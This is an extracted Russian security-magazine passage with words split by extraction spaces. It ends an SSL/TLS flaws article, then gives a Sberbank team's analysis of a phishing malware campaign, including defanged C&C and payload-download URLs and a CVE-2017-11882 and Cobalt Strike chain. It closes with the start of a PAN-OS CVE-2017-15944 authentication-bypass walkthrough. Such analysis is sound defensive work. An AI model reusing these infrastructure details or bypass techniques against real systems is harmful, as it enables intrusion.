ность сер тифика тов толь ко при пер воначаль ном соеди нении, и при этом нес‐ 
пособен  дол жным  обра зом  анну лиро вать  сеанс  свя зи  пос ле  уда ления  сер‐ 
тифика тов с устрой ства. Кро ме того, пос ле перезаг рузки Android‐устрой ства
(через  опции  «Переза пуск»  или  «Отклю чить  питание»)  мож но  про дол жать
видеть  зашиф рован ный  тра фик  час ти  при ложе ний,  которые  пос ле  перезаг‐ 
рузки не запус кались, но до перезаг рузки работа ли. Так, нап ример, про исхо‐ 
дит с Google Maps. В   опи сано,  как бла года ря этим
недоче там  кеширо вания  зло умыш ленник  может  совер шенно  проз рачно
для поль зовате ля уста нав ливать и уда лять «невиди мые сер тифика ты» и затем
уста нав ливать сетевое соеди нение с любым при ложе нием.

пре зен тации с Black Hat

Рет роспек тива уяз вимого шиф рования

Сре ди дру гих рас простра нен ных уяз вимос тей реали зации SSL/TLS‐про токо‐ 
ла  мож но  отме тить  уяз вимое  шиф рование  (см. 

),  пов торное исполь зование GCM  (Galois/Counter Mode;  счет чик
с аутен тифика цией Галуа) (источник — 

), хит рость с CNG (CryptoAPI‐NG)  , 
,  .

пре зен тацию  с  Black  Hat
за 2016  год

еще одна пуб ликация с Black Hat, тоже
за 2016 год в Schannel не кор рек тную про‐ 
вер ку цепоч ки доверия не кор рек тную про вер ку име ни хос та

Хит рость с CNG: вытяги ваем сек реты из Schannel

Не кор рек тная про вер ка цепоч ки доверия пред став ляет собой ситу ацию, ког‐ 
да веб‐при ложе ние при нима ет абсо лют но любой сер тификат, в котором ука‐ 
зано кор рек тное имя хос та, не про веряя при этом, каким цен тром сер тифика‐ 
ции он был под писан. Это поз воля ет перех ватывать и дешиф ровывать пароли
и/или номера кре дит ных  карт. А в некото рых слу чаях даже делать инъ екцию
вре донос ного кода.

В Android‐софт дан ная уяз вимость про ника ет, нап ример, ког да соз дает ся
кас томизи рован ный  X509TrustManager‐интерфейс,  который  игно риру ет
исклю чения CertificateException. Или ког да раз работ чик соф та встав ляет в код
WebViews‐ком понен та вызов метода  .SslErrorHandler.proceed()

КОРЕНЬ ЗЛА SSL/TLS
Глав ная при чина подав ляюще го боль шинс тва перечис ленных уяз вимос тей —
ужас ный  API‐дизайн  SSL/TLS‐биб лиотек  (в  том  чис ле  JSSE,  OpenSSL
и GnuTLS). А заод но и не менее ужас ный дизайн биб лиотек переда чи дан ных
(таких  как  cURL,  Apache  HttpClient  и  urllib),  каж дая  из  которых  пред став ляет
собой  высоко уров невую  обер тку  для  SSL/TLS‐биб лиотек.  Не  говоря  уже
о  middleware‐сер висах  (таких  как  Apache  Axis,  Axis  2  или  Codehaus  XFire),
еще более высоко уров невых обер тках, которые уве личи вают «снеж ный ком»
ужас ного дизай на.

Вмес то того что бы вес ти с прик ладным раз работ чиком (зачас тую далеким
от сис темно го прог рамми рова ния) диалог на понят ном ему язы ке (в тер минах
кон фиден циаль нос ти  и  аутен тифика ции),  абс тра гиру ясь  от  низ коуров невых
под робнос тей  реали зации  SSL/TLS‐про токо ла,  эти  API  вывали вают
на бедола гу кучу низ коуров невых SSL/TLS‐парамет ров, непонят ных ему. Тре‐ 
буют от высоко уров невого соф та, что бы он пра виль но выс тавлял низ коуров‐ 
невые  опции,  реали зовы вал  фун кции  про вер ки  име ни  хос та  и  заботил ся
об интер пре тации воз вра щаемых низ коуров невыми опе раци ями зна чений.

В  резуль тате  прик ладные  раз работ чики  исполь зуют  SSL/TLS  API  неп‐ 
равиль но:  оши боч но  интер пре тиру ют  мно гооб разие  их  парамет ров,  опций,
побоч ных эффектов и воз вра щаемых зна чений.  :Нап ример

Amazon’овская  PHP‐биб лиоте ка  Flexible  Payments  Service  пыта ется  вклю‐ 
чить  про вер ку  име ни  хос та  пос редс твом  уста нов ки  парамет ра  CURLOP‐
T_SSL_VERIFYHOST  в  зна чение  TRUE  (в  cURL‐биб лиоте ке).  Одна ко  кор‐ 
рек тное зна чение по умол чанию для это го парамет ра — 2; если же прис‐ 
воить  ему  зна чение  TRUE,  то  это му  парамет ру  незамет но  для  раз работ‐ 
чика  прис ваивает ся  зна чение 1,  и  таким обра зом про вер ка  сер тифика та
отклю чает ся;

•

PHP‐биб лиоте ка PayPal Payments Standard при обре ла ту же самую ошиб ку;
при чем в  тот момент,  ког да пре дыду щая,  уяз вимая реали зация обновля‐ 
лась (то есть одну ошиб ку убра ли, дру гую добави ли);

•

дру гой при мер — это Lynx, тек сто ориен тирован ный бра узер. Он про веря‐ 
ет  самопод писан ные  сер тифика ты,  но  толь ко  в  том  слу чае,  если  GnuTL‐
S’ная  фун кция  про вер ки  сер тифика та  воз вра щает  отри цатель ное  зна‐ 
чение.  Одна ко  эта  самая  фун кция  для  некото рых  оши бок  воз вра щает  0;
в  том  чис ле  в  тех  слу чаях,  ког да  сер тифика ты  под писаны  недове рен ным
орга ном.  Из‐за  это го  цепоч ка  про вер ки  доверия  в  Lynx  ока зыва ется
наруше на.

•

Кро ме  того,  прик ладные  раз работ чики  зачас тую  неп равиль но  понима ют,
какие  имен но  гаран тии  безопас ности  пре дос тавля ет  та  или  иная  SSL/TLS‐
биб лиоте ка. Поэто му в дикой при роде мож но встре тить кли ничес кие слу чаи,
ког да  в  при ложе ниях,  прин ципи аль но  нуж дающих ся  в  защищен ных  ком‐ 
муника циях  (нап ример,  вза имо дей ству ющих  с  пла теж ным  про цес сором),
исполь зует ся  SSL/TLS‐биб лиоте ка,  которая  не  про веря ет  SSL/TLS‐сер‐ 
тифика ты вооб ще. Более про заич ные, но еще более убий ствен ные слу чаи —
это  ког да  раз работ чик  какого‐нибудь  из  про межу точ ных  сло ев  соф та мол ча
отклю чает  про цеду ру  про вер ки  SSL/TLS‐сер тифика тов  (он  может  сде лать
это,  нап ример,  для  тес тирова ния  сис темы,  а  пос ле  тес тирова ния —  забыть
вновь  вклю чить  ее).  При  этом  высоко уров невый  прог рам мный  код,  исполь‐ 
зующий этот про межу точ ный слой,  уве рен,  что про вер ка сер тифика тов про‐ 
изво дит ся. Таким обра зом, ошиб ки SSL/TLS час то быва ют скры ты в глу бине
одно го или сра зу нес коль ких про межу точ ных сло ев‐биб лиотек — из‐за чего
обна ружить дан ную проб лему ста новит ся прак тичес ки невоз можно.

Нап ример, в JSSE (Java Secure Socket Extension) рас ширен ный интерфейс
SSLSocketFactory API мол ча про пус кает про вер ку име ни хос та, если поле al‐
gorithm в SSL‐кли енте уста нов лено в NULL или в пус тую стро ку, а не в HTTPS.
Хотя  дан ное  обсто ятель ство  упо мина ется  в  спра воч ном  руководс тве  JSSE,
мно гие  Java‐реали зации  SSL‐про токо лов  исполь зуют  SSLSocketFactory
без выпол нения про вер ки име ни хос та…

ЛОЖКА МЕДА В БОЧКУ ДЕГТЯ
На прак тике получа ется, что в основной мас се сов ремен ного неб раузер ного
веб‐соф та  про вер ка  SSL/TLS‐сер тифика тов  либо  отклю чена  сов сем,  либо
реали зова на неп равиль но. На скрин шоте пред став лена клас сифика ция акту‐ 
аль ных уяз вимос тей SSL/TLS‐про токо ла. Некото рые из этих уяз вимос тей (но
не все) были опи саны и/или упо мяну ты выше. Озна комить ся с упо мяну тыми,
но не опи сан ными уяз вимос тями мож но, почитав матери алы, перечис ленные
в биб лиог рафии.

Клас сифика ция акту аль ных для SSL/TLS уяз вимос тей

Что бы  добавить  лож ку  меда  в  боч ку  дег тя,  сто ит  отме тить,  что  в 
 под робно, понят но, популяр но и гра мот но опи сано (со ссыл‐ 

кой  на  RFC),  как  SSL  дол жен  реали зовы вать ся.  Луч шего  опи сания,  которое
было бы тех ничес ки точ ным и одновре мен но понят ным, мы не встре чали. Так‐ 
же  авто ры  раз бира ют  самые  рас простра нен ные  SSL‐биб лиоте ки,  с  клас‐ 
сифика цией  по  уров ню  абс тра гиро вания  (низ коуров невые/высоко уров‐ 
невые). Все с диаг рамма ми и лаконич ными алго рит мами в псев докоде. Под‐ 
робно опи саны уяз вимос ти кон крет ных про дук тов, с при веде нием некор рек‐ 
тно го прог рам мно го кода и ука зани ем оши бок. Так что если вдруг у  кого‐то
в  оче ред ной  раз  воз никнет  желание  соз дать  такую  реали зацию  SSL/TLS‐
фрей мвор ка,  которая  ста нет  исклю чени ем  из  поговор ки  «хотели  как  луч ше,
а получи лось как всег да», то   — иде аль ное для это го начало.
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Мне ние экспер та
Хо чу обра тить вни мание на нес коль ко момен тов:
1. SSL  исполь зует ся  в  качес тве  сер тифика та  для  web‐сер‐ 
веров,  фор сиру ющих  при мене ние  HTTP(S)‐про токо ла.
Это  очень  важ но,  на  мой  взгляд,  так  как,  по  сути,  имен но
воз можность  шиф рован ной  переда чи  дан ных  с  помощью
SSL  убе рега ет  нас  от  сни фин га  паролей,  к  при меру
где‐нибудь в кафеш ке с бес плат ным Wi‐Fi (нап ример, мож но под нять фей‐ 
ковую  точ ку  дос тупа  и  перех ватывать  пароли  от  VK,  Сбе ра  и  дру гие
в откры том виде, если бы исполь зовал ся прос то HTTP).

2. К  пло хим  новос тям:  SSL  все  рав но  не  панацея,  пос коль ку  дан ные  могут
быть  перех вачены  путем  под мены  кор невого  сер тифика та  и  реали зации
ата ки «человек посере дине», у меня на эту тему есть статья в бло ге «

».  Кро ме  того,  в  2014  году  пра‐ 
витель ство  США  сооб щило  об  уяз вимос ти  в  текущей  вер сии  про токо ла.
SSL дол жен быть исклю чен из работы в поль зу TLS (см. CVE‐2014‐3566).

Пе‐ 
рех ват  и  рас шифров ка  HTTPS‐тра фика

3. И  сно ва  к  хорошим  новос тям:  что  мне  нра вит ся  в  асим метрич ном шиф‐ 
ровании  —  это  работа  алго рит ма  Диф фи —  Хел лма на,  ког да  для  шиф‐ 
рования  сес сии  исполь зует ся  сеан совый  ключ.  На  этой фиче  я  бы  оста‐ 
новил ся под робнее. Уяз вимос ти под этот алго ритм пока что нет!

Иван
Пискунов
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ВЗЛОМ

На кану не  праз дни ков  мы  все  с  головой  пог ружа емся
в  задачи,  которые  нуж но  успеть  завер шить,  бди тель ность
офис ных  работ ников  при туп ляет ся,  и  это  на  руку  хакерам.
Недав но  мы  стол кну лись  с  сери ей  кибера так  на  ком пании
финан сового  сек тора  Рос сии,  в  том  чис ле  и  Сбер банк.
На  пер вый  взгляд,  это  были  при выч ные  фишин говые  рас‐ 
сылки на адре са бан ков ских сот рудни ков. Но деталь ный раз‐ 
бор  и  ана лиз  выяви ли  пос тоян но  эво люци они рующую
целенап равлен ную ата ку.

ХРОНОЛОГИЯ
Как все было орга низо вано? Общая хро ноло гия зафик сирован ных атак:

все  рас сылки  про изво дились  в  раз гар  рабоче го  дня  (часовой  пояс
UTC+3);

•

пер вая ата ка — пос ледняя неделя декаб ря 2017 года;•
вто рая ата ка — вто рая рабочая неделя 2018 года;•
третья ата ка — третья рабочая неделя 2018 года.•

Фи шин говые  пись ма  рас сылались  с  под готов ленных  за  нес коль ко  дней
до вре донос ных рас сылок поч товых сер веров. Каж дая ата ка соп ровож далась
новым  набором  домен ных  имен,  обновлен ной  сер верной  инфраструк турой,
регуляр но  дораба тыва емым  инс тру мен тари ем.  Все  зарегис три рован ные
домен ные име на име ли сходс тво с домен ными име нами ком паний, с которы‐ 
ми вза имо дей ству ют рос сий ские финан совые орга низа ции.

По чему мы объ еди нили все события:
спис ки рас сылок сов падали с точ ностью 85%;•
все пись ма были гра мот но написа ны на рус ском язы ке;•
ме ханиз мы  и  инс тру мен ты,  исполь зовав шиеся  в  ата ках,  име ли  нез‐ 
начитель ные раз личия;

•

все  пись ма  име ли  иден тичную  струк туру  и  были  отправ лены  с  помощью
поч тового сер вера Exim 4.80;

•

ис поль зовались  сер тифика ты,  выписан ные  удос товеря ющи ми  цен тра ми
Comodo  CA  Ltd.,  Digicert,  Inc.  Ука зан ные  в  сер тифика тах  ком пании,
которым они были выданы: Dazzle Solutions Ltd., Bright Idea Enterprise Ltd.;

•

ис поль зовалось два спо соба рас простра нения вре донос ного ПО: ссыл ка
в пись ме, ведущая на исполня емый jar‐файл; вло жен ный файл, экс плу ати‐ 
рующий опуб ликован ную уяз вимость CVE‐2017‐11882.

•

Как ты уже догадал ся, эта ата ка не уда лась. Средс тва защиты бан ка не допус‐ 
тили  про ник новения  зло умыш ленни ков  в  инфраструк туру,  а  инс тру мен ты
и механиз мы хакеров попали под мик роско пы наших спе циалис тов.

ПРИРОДА АТАК. РАЗБОР ПИСЕМ
Рас сылка писем про изво дилась с доменов:

billing‐cbr[.]ru•
bankosantantder[.]com•
oracle‐russia[.]info•
cards‐nspk[.]ru•
regdommain[.]com•

До мен ные  име на  регис три рова лись  незадол го  до  про веде ния  атак.  Были
уста нов лены  нес коль ко  успешных  попыток  под делки  адре са  отпра вите ля
пись ма.  Ана лиз  струк туры  писем  показал,  что  все  пись ма  были  отправ лены
с помощью поч тового сер вера Exim 4.80.

За голо вок аген та фишин гового пись ма

Струк тура фишин говых писем — text/html, кодиров ка — quoted‐printable UTF‐
8.

За голов ки, опи сыва ющие струк туру фишин гового пись ма

ПРИРОДА АТАКИ. ПЕРВЫЙ ЭТАП АТАКИ — ВРЕДОНОСНЫЙ URL
Все  адре са,  ука зан ные  в  пись мах,  вели  на  стра ницы,  в  HTML‐коде  которых
ини циали зиро валась заг рузка вре донос ного Java‐аппле та signed.jar. Помимо
это го,  стра ницы  содер жали  закоди рован ные  в  Base64  фраг менты  исполня‐ 
емо го  кода,  пред назна чен ного  для  ска чива ния  вре донос ного  ПО.  Дан ная
фун кци ональ ность так же дуб лирова лась в Java‐аппле те.

Base64 encoded фраг мент, пред назна чен ный для ска чива ния вре донос ‐
ного Java‐аппле та

Фак тичес ки, ког да жер тва перехо дила по ссыл ке, запус кался signed.jar. Пос‐ 
коль ку jar‐файл под писан дей стви тель ным сер тифика том, выдан ным Comodo
CA  Ltd.  /  Digicert,  Inc.,  он  про ходил  про вер ку  нас тро ек  безопас ности  Java‐
машины. Сто ит  отме тить,  что  при исполь зовании парамет ров  Java  по  умол‐ 
чанию для  запус ка  аппле та  тре бует ся  под твержде ние поль зовате ля. Наибо‐ 
лее  прос той  спо соб  зап ретить  запуск  аппле тов  в  при виле гиро ван ном
режиме — отклю чить  опцию Allow  user  to  grant  permissions  to  signed  content
в нас трой ках Java.

Со дер жимое вре донос ного jar‐фай ла

Вы дан ный хакерам сер тификат

ДИНАМИЧЕСКАЯ БИБЛИОТЕКА MAIN.DLL/MAIN64.DLL
Вре донос ное ПО было раз работа но с при мене нием механиз мов Java Native
Interface  (JNI),  поз воля ющих  осу щест влять  вызов  натив ного  кода  из  Java‐
машины  и  наобо рот.  Во  вре мя  исполне ния  jar‐аппле та  опре деля лась  раз‐ 
рядность ОС с пос леду ющим извле чени ем необ ходимой динами чес кой DLL‐
биб лиоте ки:

main.dll для ОС семей ства Windows раз ряднос ти х86;•
main64.dll для ОС семей ства Windows раз ряднос ти x64.•

Ме тод java_main_inject в signed.jar

Пос ле  извле чения  main.dll/main64.dll  сох раня ется  на  диск  и  запус кает ся
на  исполне ние  с  помощью  фун кции  System.load()  в  кон тек сте  вир туаль ной
машины  Java.  Код  из main.dll/main64.dll  динами чес ки  получа ет  адре са  фун‐ 
кций Windows  API  для  работы  с  HTTP‐про токо лом  из  биб лиоте ки  wininet.dll,
обра щает ся  к  URL  hxxps://servicenetupdate[.]com/yroyiuymsa,  заг ружа ет
и  рас шифро выва ет  рас положен ный  по  это му  адре су  файл  int.dll  (для  рас‐ 
шифров ки  исполь зовал ся  алго ритм  XOR  с  обратной  связью),  пос ле  чего
управле ние переда ется рас шифро ван ному коду.

main.dll — фор мирова ние HTTP‐зап роса для получе ния заг рузчи ка
модулей

ПРИРОДА АТАКИ. ПЕРВЫЙ ЭТАП АТАКИ — ВРЕДОНОСНОЕ
ПОЧТОВОЕ ВЛОЖЕНИЕ
Вре донос ное ПО рас простра нялось  через  поч товое  вло жение,  в  некото рых
слу чаях  пря мой  URL  на  RTF‐файл  hxxp://oracle‐russia.info/Oracle_RDBMS.rtf
(3‐я ата ка).

Ес ли файл откры вали, а необ ходимых обновле ний не было, это вело к экс‐ 
плу ата ции  извес тной  с  нояб ря  2017  года  уяз вимос ти  в  модуле  редак тора
фор мул  (CVE‐2017‐11882).  Исполнял ся  ком понент  вре донос ного  ПО  в  виде
scr‐фай ла,  содер жавше го  .NET‐скрипт,  который  заг ружал  PowerShell‐сце‐ 
нарий.

В  ходе  деталь ного  ана лиза  scr‐фай ла  было  уста нов лено,  что  его  содер‐ 
жимое зашиф ровано с помощью побито вого алго рит ма XOR с бай товым клю‐ 
чом 0xА5.

Вре донос ный PowerShell‐сце нарий пос ле сня тия побито вого XOR с клю ‐
чом 0xA5

Фраг мент в фор мате Base64, модифи циро ван ном, что бы усложнить раз ‐
бор

Би нар ный код, извле чен ный из Base64‐фраг мента, отве чав ший
за получе ние заг рузчи ка модулей

Пос ле  исполне ния  PowerShell‐сце нария  соз давалось  SSL‐соеди нение
с  узлом  hxxps://teredo‐update.com  (3‐я  ата ка)  и  затем  ска чивал ся  заг рузчик
модулей int.dll.

ПРИРОДА АТАКИ. ВТОРОЙ ЭТАП АТАКИ — ЗАГРУЗЧИК МОДУЛЕЙ
Файл  int.dll,  получа емый  в  резуль тате  как  пер вого,  так  и  вто рого  спо собов
ата ки,  —  это  исполня емый  файл  Windows  PE32  (DLL),  пред назна чен ный
для  заг рузки  дру гих  модулей  вре донос ного  ПО  с  сер вера  управле ния.
В качес тве адре са сер вера управле ния во вре мя пер вой ата ки исполь зовал‐ 
ся  URL  hxxps://help‐desc‐me[.]com/<псев дослу чай ная  стро ка  из  ASCII‐сим‐ 
волов в ниж нем регис тре>/.

С пери одич ностью в одну секун ду заг рузчик модулей обра щал ся к сер веру
управле ния по про токо лу HTTP пос редс твом GET‐зап росов. В слу чае получе‐ 
ния HTTP‐отве та с кодом 200 заг ружались зашиф рован ные модули и дешиф‐ 
ровыва лись. Пос ле  это го  заг рузчик  запус кал  их  в  кон тек сте  сво его  про цес‐ 
са — это  весь ма рас простра нен ный метод  зат руднить детек тирова ние  вре‐ 
донос ного ПО. Резуль таты работы модулей отправ лялись на сер вер управле‐ 
ния с помощью метода HTTP POST.

Заг рузчик исполь зовал дос таточ но ори гиналь ный спо соб шиф рования —
бинар ные  дан ные,  содер жавшие  заг ружа емые  модули,  были  пред став лены
в фор мате human readable content.

Human readable фраг менты, содер жавшие допол нитель ный модуль вре ‐
донос ного ПО

Часть кода заг рузчи ка, отве чающая за декоди рова ние получа емой наг ‐
рузки

В  ходе  динами чес кого  ана лиза  на  про тяже нии  про води мых  атак  уда лось
получить три заг ружа емых модуля:

ис полня емый  файл  фор мата  Windows  PE  (DLL)  —  модуль  для  соз дания
скрин шотов, заг ружа ется каж дый раз, ког да с управля юще го сер вера пос‐ 
тупа ет задача сде лать скрин шот;

•

ис полня емый файл  фор мата Windows  PE  (DLL) —  модуль  для  получе ния
спис ка запущен ных про цес сов (име на исполня емых фай лов и пути к ним).
Пос ле выпол нения отправ ляет дан ные обратно на управля ющий сер вер;

•

по лез ная  наг рузка  Cobalt  Strike  Beacon  вер сии  3.8,  выдава емая  толь ко
в  слу чае  при нято го  хакера ми  положи тель ного  решения  на  осно ве
получен ной информа ции о заражен ной сис теме.

•

Код получе ния скрин шота экра на

Код получе ния спис ка запущен ных про цес сов

Ата ка через вре донос ный URL в пись ме, ведущий на исполня емый jar‐
файл

ОБЩАЯ СХЕМА АТАКИ
В резуль тате ана лиза уста нов лена общая схе ма атак.

Ата ка через вло жен ный файл, экс плу ати рующий уяз вимость CVE‐2017‐
11882

Сер веры  C&C  №   1  исполь зовались  хакера ми  для  раз мещения  заг рузчи ка
модулей, ска чива емо го в момент вто рого эта па ата ки. C&C № 2 — реаль ные
управля ющие  сер веры  для  уда лен ного  вза имо дей ствия.  Так же  они  исполь‐ 
зовались  для  переда чи  допол нитель ных  модулей,  пред назна чав шихся
для даль нейше го потен циаль ного рас простра нения в сети жер твы.

Спи сок C&C‐сер веров:
servicenetupdate[.]com•
bankosantantder[.]com•
oracle‐russia[.]info•
help‐desc‐me[.]com•
billing‐cbr[.]ru•
teredo‐update[.]com•
techupdateslive[.]com•
getfreshnews[.]com•

ИЗМЕНЕНИЯ ПО ХОДУ ПОВТОРНОГО ПРОВЕДЕНИЯ АТАК
Пер вая и вто рая ата ки:

Main.class — стро ковые кон стан ты обер нуты в Base64;•
main.dll — изме нен ключ кодиро вания;•
int.dll — замене на полез ная наг рузка и ключ кодиро вания;•
по явил ся  вто рой  спо соб  рас простра нения  через  RTF‐файл  (CVE‐2017‐
11882).

•

Вто рая и третья ата ки:
int.dll — замене на полез ная наг рузка и ключ кодиро вания;•
в тело фишин гового пись ма добав лена пря мая ссыл ка на scr‐файл.•

ЗАКЛЮЧЕНИЕ
Без  подоб ных  иссле дова ний  невоз можно  выс тро ить  надеж ную  сис тему
защиты, так как сов ремен ные средс тва не справ ляют ся с тар гетиро ван ными
ата ками. Внут ри Служ бы кибер безопас ности нам уда лось выс тро ить про цес‐ 
сы,  поз воля ющие  про водить  деталь ный  ана лиз  кибера так  и  вре доно сов.
В  рам ках  Security  Operation  Center  работа ют  коман ды  Threat  Intelligence,
Forensics  и RedTeam. Внут ри SOC акку мули руют ся  инди като ры  ком про мета‐ 
ции,  получен ные  бла года ря  вза имо дей ствию  с  орга низа циями‐пар тне рами,
такими  как  Bizone  и  Гос СОПКА.  И  эта  сис тема  уже  не  раз  доказа ла  свою
эффектив ность.

В  кон це  прош лого  года мы  ста ли  сви дете лями  начала  нового  эта па  атак
на  финан совые  орга низа ции  Рос сии.  Нель зя  ска зать,  что  количес тво  атак
рез ко уве личи лось, но мож но однознач но отме тить, что их  тех ничес кий уро‐ 
вень  рас тет —  пуб лику емые  уяз вимос ти  в  крат чай шее  вре мя  при нима ются
на  воору жение  хакера ми.  Помимо  это го,  фишин говые  рас сылки  все  чаще
име ют  приз наки  целенап равлен ных  и  тща тель но  под готов ленных  дей ствий,
а  на  замену  изу чен ным  и  извес тным  методам  зло умыш ленни ков  при ходят
обновлен ные  инс тру мен ты  и  механи ки.  Ком петен ции  наших  спе циалис тов
поз воля ют  осу щест влять  деталь ный  раз бор  вре донос ного  кода  с  при мене‐ 
нием средств ста тичес кого и динами чес кого ана лиза, а так же сво евре мен но
изу чать  и  осва ивать  новые  под ходы  хакеров.  Это  про тивос тояние  никог да
не прек ратит ся, но к нему мож но быть под готов ленным — это то, к чему мы
стре мим ся и ради чего делим ся нашим опы том. 

https://twitter.com/yurydo
mailto:yurydo@gmail.com
mailto:AVOreshkin@sberbank.ru
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ВЗЛОМ

Palo Alto Networks — один из круп ней ших секь юри ти‐про вай‐ 
деров. Фай рво лы  этой  ком пании  работа ют  на  собс твен ной
ОС  с  при ятным  рус ско му  уху  наз вани ем  .  В  ней‐то
недав но  и  наш ли  уяз вимос ти,  которые  при водят  к  уда лен‐ 
ному  исполне нию  кода  от  име ни  супер поль зовате ля
без какой‐либо авто риза ции. Хочешь узнать, как такие серь‐ 
езные ребята смог ли так обла жать ся? Давай раз берем ся!

PAN‐OS

Все го было най дено три уяз вимос ти в реали зации веб‐интерфей са управле‐ 
ния аппа рат ными бран дма уэра ми. Цепоч ка из них поз воля ет выпол нить про‐ 
изволь ный  код от  име ни  супер поль зовате ля и  ском про мети ровать  всю сис‐ 
тему. Они получи ли один иден тифика тор  . Давай пос мотрим
на них поб лиже.

CVE‐2017‐15944

Для тес тирова ния подой дет любая из этих вер сий сис темы:
PAN‐OS 6.1.18 и ниже,•
PAN‐OS 7.0.18 и ниже,•
PAN‐OS 7.1.13 и ниже,•
PAN‐OS 8.0.5 и ниже.•

Да,  уяз вимы  поч ти  все  акту аль ные  вет ки,  но  вот  одна  беда  —  прос то  так
заполу чить их не вый дет, потому что PAN‐OS пос тавля ется толь ко в ком плек те
с  фир менны ми  аппа рат ными  фай рво лами.  Если  у  тебя  завалял ся  такой
под рукой, то ты, конеч но же, можешь перей ти на офи циаль ный сайт в 

  и  ска чать  нуж ную  про шив ку.  Если  такой  воз можнос ти  нет,  то,  увы,
под нять  стенд  не  получит ся  и  при дет ся  наб людать  за  ходом  экс плу ата ции
в статье. Если при дума ешь иной спо соб, не забудь сооб щить. ;)

раз дел
заг рузок

Стра ница авто риза ции в панели управле ния PAN‐OS

ОБХОД АВТОРИЗАЦИИ
Ра зуме ется,  все  фун кции  панели  управле ния  зак рыты  от  любопыт ных  глаз
при  помощи  логина  и  пароля,  и  пер вый  баг,  о  котором  пой дет  речь,  —
это  неболь шой  ее  обход.  В  качес тве  веб‐сер вера  в  PAN‐OS  исполь зует ся
некая солян ка из  тех нологий,  которая вклю чает нес коль ко самопис ных биб‐ 
лиотек.

Кон фигура цион ный  файл    содер жит
спи сок объ ектов, которые зак рыты авто риза цией. Выг лядят такие сек ции сле‐ 
дующим обра зом:

/etc/appweb3/conf/common.conf

/etc/appweb3/conf/common.conf
144: <Location /php/monitor>  
145:   SetHandler phpHandler  
146:   panAuthCheck on
147: </Location>
148: <Location /php/utils>
149:   SetHandler phpHandler  
150:   panAuthCheck on
151: </Location>
152: <Location /php> 
153:   panAuthCheck on
154: </Location>
155: <Location /PAN_help>
156:   panAuthCheck on
157: </Location>
...
162: <Location /upload>
163:      panAuthCheck on
164:      AddInputFilter uploadFilter
165: </Location>

Ди рек тивы  ,  уста нов ленные  в  ,  зак рыва ют  ука зан ный  URI
авто риза цион ной  фор мой.  При  попыт ке  перей ти  по  такому  адре су  текущая
сес сия  поль зовате ля  про веря ется  на  наличие  валид ной  аутен тифика ции.
За  это  отве чает  биб лиоте ка 

.

panAuthCheck on

/usr/local/lib/shobjs/libpanApiWgetFil‐
ter.so

/etc/appweb3/conf/common.conf
60: LoadModulePath "/usr/local/lib/shobjs:/usr/local/lib32/shobjs"
61: LoadModule panappweb3Module libpanappweb3
62: LoadModule panApiWgetFilter libpanApiWgetFilter
63: LoadModule panAuthFilter libpanApiWgetFilter

За тем фун кция   про веря ет наличие сес сион ной куки 
 и переда ет управле ние фун кции   для заг рузки

и извле чения нуж ных перемен ных (  и  ) из фай ла сес сии.

openAuthFilter PHPSES‐
SID readSessionVarsFromFile

dloc user

libpanApiWgetFilter.c
1282: void __cdecl openAuthFilter(MaQueue_0 *q)
1283: {
...
1310:   if ( getCookieValues(&myFuncResult, ptrMyAuthFilter) )
...
1320:     v1 = maGetStageData(ptrMyAuthFilter‐>conn, "panAuthFilter.
PHPSESSID");
...
1321:     hasSessionCookie = v1 != 0;
1322:     if ( v1 != 0 )
1323:     {
1324:       if ( readSessionVarsFromFile(ptrMyFuncResult, ptrMyA
uthFilter) )

libpanApiWgetFilter.c
818: pan_result_t __cdecl readSessionVarsFromFile(ptrFuncResult 
result, ptrAuthFilter me)
819: {
...
845:   ssid = myGetStageData(me‐>conn, "panAuthFilter.PHPSESSID");
...
847:   path = (pan_char_t *)__pan_calloc(me‐>allocator, 1, pathSize);
848:   if ( path )
849:   {
850:     sprintf(path, "%s%s%s", "/tmp/", "sess_", ssid);
851:     fp = fopen(path, "r");

Проб лемное мес то — это кас томная реали зация алго рит ма, который чита ет
перемен ные сес сии. Вмес то того что бы вос поль зовать ся какой‐нибудь стан‐ 
дар тной фун кци ей для работы с  сери али зован ными дан ными,  раз работ чики
написа ли свою, которая осно вана на цепоч ке вызовов   для раз биения
стро ки на час ти.

strtok

libpanApiWgetFilter.c
886:             fseek(fp, 0, 0);
887:             if ( fread(buf, sbuf.st_size, 1u, fp) == 1 )
888:             {
889:               fclose(fp);
890:               buf[sbuf.st_size] = 0;
891:               delim = "|";
892:               remaining = 0;
893:               skey = strtok_r(buf, "|", &remaining);
894:               do
895:               {
896:                 if ( !skey )
897:                   break;
898:                 if ( !remaining )
899:                   break;
900:                 remaining2 = 0;
901:                 ptType = strtok_r(remaining, ":", &remaining2);
902:                 if ( !ptType )
903:                   break;
904:                 strtok_r(0, ":", &remaining2);
...
920:                   skey = strtok_r(remaining2, delim, &remaining)
;
...
924:                   tSkeyValue = strtok_r(0, ";", &remaining2);
925:                   if ( *ptType == 115 )
926:                   {
927:                     tSkey = 0;
928:                     if ( !strcasecmp("dloc", skey) )
929:                     {
930:                       tSkey = "panAuthFilter.dloc";
931:                     }
932:                     else if ( !strcasecmp("user", skey) )
933:                     {
934:                       tSkey = "panAuthFilter.user";
935:                     }
936:                     if ( tSkey && tSkeyValue && *tSkeyValue )
937:                     {
...
950:                   skey = strtok_r(0, delim, &remaining2);
951:                   remaining = remaining2;
...
954:               while ( skey && *skey != 10 );
955:               if ( !maGetStageData(me‐>conn, "panAuthFilter.
user") )
956:                 mprLog(
957:                   globalMpr,
958:                   0,
959:                   "panAuthFilter:panAuthFiler: management 
cookie missing. file size %d",
960:                   sbuf.st_size);
961:               if ( !maGetStageData(me‐>conn, "panAuthFilter.
dloc") )
962:                 mprLog(globalMpr, 0, "panAuthFilter:panAut
hFilter: dloc cookie missing. file size %d", sbuf.st_size);
963:               __pan_free(me‐>allocator, path, pathSize);
964:               __pan_free(me‐>allocator, buf, bufSize);
965:               v3 = 0;
966:             }

Сам фор мат обра баты ваемых дан ных  похож на  то,  что  воз вра щает фун кция
 в PHP.serialize

имя_переменной|s:длина_переменной:"значение"; имя_переменной|s:длина_
переменной:"еще_значение";

И  так  далее.  Для  раз деления  опи саний  перемен ных  исполь зует ся  точ ка
с  запятой.  Увы,  такая  реали зация  содер жит  логичес кие  изъ яны,  которые
помогут  нам  в  даль нейшей  экс плу ата ции.  Нап ример,  мы  можем  выпол нять
баналь ные инъ екции, исполь зуя в качес тве их зна чений пос ледова тель ность
. Так мож но управлять зна чени ем перемен ной  ."; user
Те перь оста лось най ти воз можность, которая поз волит нам записать дан‐ 

ные  в  файл  сес сии.  Пос мотрим  на  скрипт  ,
